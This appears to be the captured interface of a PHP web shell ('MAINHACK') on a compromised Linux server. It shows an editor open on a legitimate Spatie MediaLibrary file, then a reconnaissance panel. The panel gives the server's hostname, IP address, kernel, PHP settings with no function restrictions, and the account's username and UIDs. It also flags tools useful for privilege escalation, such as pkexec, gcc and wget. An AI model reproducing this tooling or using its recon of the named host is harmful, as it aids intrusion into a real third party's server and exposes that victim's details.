[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MediaStream.php
<?php namespace Spatie\MediaLibrary\Support; use Illuminate\Contracts\Support\Responsable; use Illuminate\Support\Collection; use Spatie\MediaLibrary\MediaCollections\Models\Media; use Symfony\Component\HttpFoundation\StreamedResponse; use ZipStream\Option\Archive as ArchiveOptions; use ZipStream\ZipStream; class MediaStream implements Responsable { protected Collection $mediaItems; protected array|ArchiveOptions $zipOptions; public static function create(string $zipName): self { return new static($zipName); } public function __construct(protected string $zipName) { $this->mediaItems = collect(); $this->zipOptions = class_exists(ArchiveOptions::class) ? new ArchiveOptions() : []; } public function useZipOptions(callable $zipOptionsCallable): self { $zipOptionsCallable($this->zipOptions); return $this; } public function addMedia(...$mediaItems): self { collect($mediaItems) ->flatMap(function ($item) { if ($item instanceof Media) { return [$item]; } if ($item instanceof Collection) { return $item->reduce(function (array $carry, Media $media) { $carry[] = $media; return $carry; }, []); } return $item; }) ->each(fn (Media $media) => $this->mediaItems->push($media)); return $this; } public function getMediaItems(): Collection { return $this->mediaItems; } public function toResponse($request): StreamedResponse { $headers = [ 'Content-Disposition' => "attachment; filename=\"{$this->zipName}\"", 'Content-Type' => 'application/octet-stream', ]; return new StreamedResponse(fn () => $this->getZipStream(), 200, $headers); } public function getZipStream(): ZipStream { if (class_exists(ArchiveOptions::class)) { $zip = new ZipStream($this->zipName, $this->zipOptions); } else { $this->zipOptions['outputName'] = $this->zipName; $zip = new ZipStream(...$this->zipOptions); } $this->getZipStreamContents()->each(function (array $mediaInZip) use ($zip) { $stream = $mediaInZip['media']->stream(); $zip->addFileFromStream($mediaInZip['fileNameInZip'], $stream); if (is_resource($stream)) { fclose($stream); } }); $zip->finish(); return $zip; } protected function getZipStreamContents(): Collection { return $this->mediaItems->map(fn (Media $media, $mediaItemIndex) => [ 'fileNameInZip' => $this->getZipFileNamePrefix($this->mediaItems, $mediaItemIndex).$this->getFileNameWithSuffix($this->mediaItems, $mediaItemIndex), 'media' => $media, ]); } protected function getFileNameWithSuffix(Collection $mediaItems, int $currentIndex): string { $fileNameCount = 0; $fileName = $mediaItems[$currentIndex]->file_name; foreach ($mediaItems as $index => $media) { if ($index >= $currentIndex) { break; } if ($this->getZipFileNamePrefix($mediaItems, $index).$media->file_name === $this->getZipFileNamePrefix($mediaItems, $currentIndex).$fileName) { $fileNameCount++; } } if ($fileNameCount === 0) { return $fileName; } $extension = pathinfo($fileName, PATHINFO_EXTENSION); $fileNameWithoutExtension = pathinfo($fileName, PATHINFO_FILENAME); return "{$fileNameWithoutExtension} ({$fileNameCount}).{$extension}"; } protected function getZipFileNamePrefix(Collection $mediaItems, int $currentIndex): string { return $mediaItems[$currentIndex]->hasCustomProperty('zip_filename_prefix') ? $mediaItems[$currentIndex]->getCustomProperty('zip_filename_prefix') : ''; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002